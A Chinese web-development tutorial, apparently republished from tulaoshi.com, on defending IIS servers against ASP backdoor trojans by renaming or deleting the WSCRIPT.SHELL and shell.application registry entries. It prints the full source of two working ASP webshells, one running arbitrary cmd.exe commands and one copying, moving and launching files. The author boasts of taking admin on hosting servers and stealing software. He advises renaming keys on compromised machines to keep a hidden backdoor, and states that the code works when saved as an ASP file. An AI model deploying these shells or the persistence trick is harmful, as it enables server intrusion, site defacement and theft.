Web服务器上防范基于ASP程序的木马

2016-02-19 17:10 0 1 收藏

下面是个Web服务器上防范基于ASP程序的木马教程,撑握了其技术要点,学起来就简单多了。赶紧跟着图老师小编一起来看看吧!

【 tulaoshi.com - Web开发 】

  随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为永远不会被查杀的后门。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。

  以下是第一款木马的代码:

  

<title>ASP Shell</title><%@ Language=VBScript %><% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next -- create the COM objects that we will be using -- Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") -- check for a command that we have posted -- szCMD = Request.Form(".CMD") If (szCMD <> "") Then  -- Use a poor mans pipe ... a temp file --  szTempFile = "C:" & oFileSys.GetTempName( )  Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)  Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If%><HTML><BODY><FORM action="<%= Request.ServerVariables("URL") %>" method="POST"><input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="执行命令"></FORM><PRE><% If (IsObject(oFile)) Then  -- Read the output from our command and remove the temp file --  On Error Resume Next  Response.Write Server.HTMLEncode(oFile.ReadAll)  oFile.Close  Call oFileSys.DeleteFile(szTempFile, True) End If%></BODY></HTML>

  然后在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。

  但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在默认 Web 站点里使用,所以它相对的适用范围较窄。

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/webkaifa/)

  对于防范方法让我们看一下它的代码就知道了:

  

Set oScript = Server.CreateObject("WSCRIPT.SHELL")'建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行"Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 

  上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图:值得注意的是:我们应该把WSCRIPT.SHELL项和WSCRIPT.SHELL.1这两项都要改名或删除。因为如我们只修改WSCRIPT.SHELL项的话。那么黑客们只要把代码修改如下:

  

Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 

  这个后门木马就又可以执行了。

  大家可能已经想到了,我们在对WSCRIPT.SHELL项和WSCRIPT.SHELL.1改名时,一定要不容易被黑客们猜到,因为例如:你把WSCRIPT.SHELL改成了WSCRIPT.SHELL888。黑客们只要把代码相应的改成:

  

Set oScript = Server.CreateObject("WSCRIPT.SHELL888")

  木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。

  接下来让我们再来看下一款ASP后门木马程序的代码:

  

<%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %><%response.write now()%><BR>程序所在的物理路径:<%response.write request.servervariables("APPL_PHYSICAL_PATH")%><html><title>asps shell.application backdoor </title><body><form action="<%= Request.ServerVariables("URL") %>" method="POST"><input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br><input type=text name=text1 value="<%=szCMD1 %>">copy<input type=text name=text2 value="<%=szCMD2 %>"><br><input type=text name=text3 value="<%=szCMD3 %>">move<input type=text name=text4 value="<%=szCMD4 %>"><br>路径:<input type=text name=text5 value="<%=szCMD5 %>">程序:<input type=text name=text6 value="<%=szCMD6 %>"><br><input type=submit name=sb value=发送命令></form></body></html><%szCMD = Request.Form("text") 目录浏览if (szCMD <> "") then set shell=server.createobject("shell.application") 建立shell对象 set fod1=shell.namespace(szcmd) set foditems=fod1.items for each co in foditems  response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>" nextend if%> <%szCMD1 = Request.Form("text1") 目录拷贝,不能进行文件拷贝szCMD2 = Request.Form("text2")if szcmd1<>"" and szcmd2<>"" then set shell1=server.createobject("shell.application") 建立shell对象 set fod1=shell1.namespace(szcmd2) for i=len(szcmd1) to 1 step -1  if mid(szcmd1,i,1)="" then   path=left(szcmd1,i-1)   exit for  end if next if len(path)=2 then path=path & ""  path2=right(szcmd1,len(szcmd1)-i)  set fod2=shell1.namespace(path)  set foditem=fod2.parsename(path2)  fod1.copyhere foditem  response.write "command completed success!" end if%> <%szCMD3 = Request.Form("text3") 目录移动szCMD4 = Request.Form("text4")if szcmd3<>"" and szcmd4<>"" then set shell2=server.createobject("shell.application") 建立shell对象 set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 if mid(szcmd3,i,1)="" then  path=left(szcmd3,i-1)  exit for end if next if len(path)=2 then path=path & ""  path2=right(szcmd3,len(szcmd3)-i)  set fod2=shell2.namespace(path)  set foditem=fod2.parsename(path2)  fod1.movehere foditem  response.write "command completed success!" end if%><%szCMD5 = Request.Form("text5") 执行程序要指定路径szCMD6 = Request.Form("text6")if szcmd5<>"" and szcmd6<>"" then set shell3=server.createobject("shell.application") 建立shell对象 shell3.namespace(szcmd5).items.item(szcmd6).invokeverb response.write "command completed success!"end if%>

  要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/webkaifa/)

  最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。

  然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。

  言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:

set shell=server.createobject("shell.application")

  跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)

  其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对脚本SHELL的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。

  注:以上代码复制保存为ASP文件就可以直接使用了。

来源:https://www.tulaoshi.com/n/20160219/1614407.html

延伸阅读
标签: 服务器
在CentOS服务器上配置NTP服务器的教程   网络时间协议(NTP)用来同步网络上不同主机的系统时间。你管理的所有主机都可以和一个指定的被称为 NTP 服务器的时间服务器同步它们的时间。而另一方面,一个 NTP 服务器会将它的时间和任意公共 NTP 服务器,或者你选定的服务器同步。由 NTP 管理的所有系统时钟都会同步精确到毫秒级。 ...
标签: ASP
  使用ASP编程的一大优点是可以使用众多的服务器组件(ActiveX Server Components)。这些组件提供诸如广告轮显 (Ad Rotator)、浏览器兼容(Browser Capabilities)、数据库存取(Database Access)、文件超链接(Content Linking)、文件存取(File Access)等等功能。使用服务器组件,可以通过非常简单的方式高效率地完成各种复杂的工...
标签: ASP
       ---- 音乐服务器(Music Server)是指一个提供音乐在线服务的服务器,它包括高端提供门户服务的网站、Web数据库和低端的操作平台、硬件设施。目前,在Internet和Intranet上有不少这样的站点,特别是在一些高速宽带的局域网中(如校园网),音乐服务器给上网的朋友提供了休闲娱乐的好去处,同时也给...
标签: Web开发
受ASP动态网页的吸引,笔者决定用Dreamweaver做一个ASP格式的学校主页。然而,当笔者将Web服务器中Htm格式的网页换成新做的ASP网页时却发现:新做的这些ASP网页在校园网内的所有计算机上均不能浏览(学校利用Windows 2000 Server的IIS发布Web页)。 ASP是一个服务器端的脚本环境,即当脚本运行在服务器上(注意不是客户机)时,Web服务器...
标签: Java JAVA基础
  近年来Linux在服务器市场占有比例日渐攀升,除了缘于Linux的免费和安全性之外,还因为Linux上的应用服务日益丰富。大部分常见的服务都在Linux上有了较好的解决方案。而对于Intenet上应用最广泛的Web服务来说,Linux的表现就更为出色。谁也无法说 清Internet上究竟有多少个网站,但在众多网站中,采用PHP和JSP开发的网站无疑占居了...

经验教程

403

收藏

69
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部